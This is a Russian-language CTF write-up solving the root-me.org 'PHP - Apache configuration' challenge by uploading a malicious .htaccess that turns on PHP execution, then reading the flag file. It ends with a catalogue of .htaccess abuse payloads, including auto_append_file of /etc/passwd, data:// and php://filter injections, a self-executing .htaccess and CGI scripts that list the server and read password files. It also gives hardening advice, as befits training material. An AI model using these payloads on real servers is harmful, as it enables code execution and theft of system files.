Перейти к основному содержанию
 

CTF — PHP - Apache configuration

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "PHP - Apache configuration". За решение задачки дают 25 баллов, ближе к среднему уровню.

ctf

Нам сразу говорят, что флаг находится в файле /private/flag.txt, относительно корня web сервера. Так что цель уже ясна, сам флаг разыскивать не придётся.

Сразу даётся много подсказок:

  • У нас есть web-сервер Apache
  • Сайт работает на PHP
  • Есть форма загрузки, при этом разработчик запретил загружать PHP файлы.
  • Что-то не так с конфигурацией сервера.
  • Работать придётся с файлом .htaccess.

.htaccess (hypertext access) — файл дополнительной конфигурации web-сервера Apache и подобных ему серверов. Позволяет задавать большое количество дополнительных параметров и разрешений для работы web-сервера в отдельных каталогах без изменения главного конфигурационного файла.

Ссылки

https://www.root-me.org

https://httpd.apache.org/docs/2.2/fr/howto/htaccess.html

Решение

Переходим на страницу задания:

http://challenge01.root-me.org:59062/

Видим страницу с формой загрузки и текстом "Please upload any file you like, but no .php". Можно загружать всё кроме PHP.

ctf

Флаг находится в файле /private/flag.txt, доступа к нему у нас нет: 403. Заодно видим версию web-сервера Apache — 2.4.56 и тип ОС Debian.

ctf

Давайте что-нибудь загрузим, например, PNG картинку.

ctf

Картинка загрузилась, нам любезно дают ссылку на неё. И пишут, что файлики затрутся через 10 минут, работаем шустрее.

ctf

Картинка открылась. Загрузка производится в директорию /uploads/..., которая совсем не совпадает с той, где лежит флаг. Кроме этого в папке создаётся директория с идентификатором сессии, это для того, чтобы юные хакеры не толпились в одной папке и не мешали друг другу.

Пробуем посмотреть список файлов в директории, доступа нет.

ctf

Для полноты картины пробую загрузить любой PHP файл. Дорогие сэры и мадамы, фиг вам. Что и следовало ожидать.

ctf

Начинаем развлекаться. создадим файл с названием ".htaccess" с содержимым:

Options All +Indexes

Данный код разрешает просмотр содержимого директории.

Попробуем загрузить файл ".htaccess". Ого, файл загрузился.

ctf

Загрузим ещё что-нибудь и посмотрим содержимое директории, в которую мы загружаем файлы.

ctf

Прекрасно, теперь видно содержимое директории. Мы получили возможность управлять настройками данной папки. К примеру, мы можем загрузить любой файл и сказать серверу, что он исполняемый.

Создаём файл "smile" с PHP кодом, который выводит стандартную функцию PHP:

<?php phpinfo(); ?>

Редактируем ".htaccess":

Options All +Indexes

<FilesMatch "smile">
  SetHandler  application/x-httpd-php
</FilesMatch>

Здесь мы говорим серверу, что файл "smile" — это PHP. Загружаем оба файла на сервер и пробуем открыть наш "smile".

ctf

Ничего не произошло. Получается, что где-то выше есть файл конфигурации, в котором отключено выполнение PHP скриптов для всей попки /uploads. Но дело поправимое. Для начала выясним, что за PHP у нас стоит. Допустим, PHP 5? Редактируем ".htaccess":

Options All +Indexes

<IfModule mod_php5.c>
    blablabla
</IfModule>

<FilesMatch "smile">
  SetHandler  application/x-httpd-php
</FilesMatch>

Если IF сработает, то на сервере включён модуль PHP 5. Загружаем ".htaccess", заходим в папку, всё работает. Допустим, PHP 7? Редактируем ".htaccess":

Options All +Indexes

<IfModule mod_php7.c>
    blablabla
</IfModule>

<FilesMatch "smile">
  SetHandler  application/x-httpd-php
</FilesMatch>

Загружаем ".htaccess", заходим в папку, всё упало с 500 ошибкой. У нас PHP 7. Редактируем ".htaccess":

Options All +Indexes

<IfModule mod_php7.c>
    php_flag engine on
</IfModule>

<FilesMatch "smile">
  SetHandler  application/x-httpd-php
</FilesMatch>

Так мы включим PHP в папке с файлом ".htaccess", загружаем его на сервер. Пробуем открыть наш файл "smile".

ctf

Отлично, мы выполнили PHP код. Осталось модифицировать PHP код таким образом, чтобы выцепить содержимое файла /private/flag.txt.

<?php
$filename = '../../private/flag.txt';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>

Заново загружаем "smile" и выполняем.

ctf

Флаг получен. Валидируем.

ctf

Флаг подходит, зарабатываем 25 очков.

Более короткое решение

Загружаем ".htaccess", включая PHP:

php_flag engine on

Пользуясь тем, что PHTML файлы загружать не запретили, загружаем такой "file.phtml":

<?php
echo file_get_contents( "../../private/flag.txt");
?>

Безопасность

  • Нельзя давать возможность пользователю редактировать файл ".htaccess".
  • Нельзя давать возможность пользователю загружать файл ".htaccess" в какую-либо директорию сервера.
  • Скройте информацию о версии Apache и другую чувствительную информацию.
  • Apache должен запускаться с отдельным пользовательским акаунтом и группой. Даже если сломают сайт, то хотя бы на сервер не смогут пролезть.
  • Options None и AllowOverride None: отключаем опции для сервера и стключаем отдельно для нужных директорий.
  • Options -Indexes: отключаем просмотр директорий.
  • Options -ExecCGI: выключаем CGI.
  • Options -FollowSymLinks: отключаем ссылки.
  • И главное, если вам не нужна поддержка файлов ".htaccess", то AllowOverride None.
  • Изучите mod_security.

Имея возможность управлять файлом ".htaccess", злоумышленник может делать кучу трюков. Вот некоторые из них.

Назначить собственные страницы ошибок и вывести вместо них нужные файлы или выполнить PHP код:

ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

Можно использовать страницу ошибок для посимвольного угадывания названия файлов с помощью IF:

<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "Oooo Eeee!"
</If>

Делать файлы исполняемыми:

ForceType application/x-httpd-php
SetHandler application/x-httpd-php
AddType application/x-httpd-php .htm
AddHandler cgi-script .txt

Менять php_flag:

<IfModule mod_php7.c>
    php_flag engine on
</IfModule>

Менять php_value:

php_value auto_append_file/append.php
php_value auto_append_file /etc/passwd\
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

И даже так рекурсивно и красиво:

php_value auto_append_file .htaccess
#<?php phpinfo();

Если не к чему цепляться, то можно зацепиться к самому себе:

<Files .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

или:

<FilesMatch .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

или выполнить сам файл ".htaccess":

SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

Менять include_path:

php_value include_path "xxx"

Обходить фильтры переносом строк:

php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

Если включён модуль CGI (mod_cgi.so), то можно сделать настройки:

Options +ExecCGI # Allow CGI execution
AddHandler cgi-script .sh

И загрузить sh файл:

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls /
cat /etc/password
exit 0

Если включён модуль Fastcgi (mod_fcgid.so), то можно сделать настройки:

Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "/bin/ls /" .xx

И загрузить любой XX файл.

https://www.programmersought.com/article/622810248095/

Пока-пока

Это не все методы, просто уже надоело писать. Да и почти все их попробовал в задаче, пока не понял, что нужно просто PHP включить.

Здоровья вам и вашим серверам.

Теги

 

Похожие материалы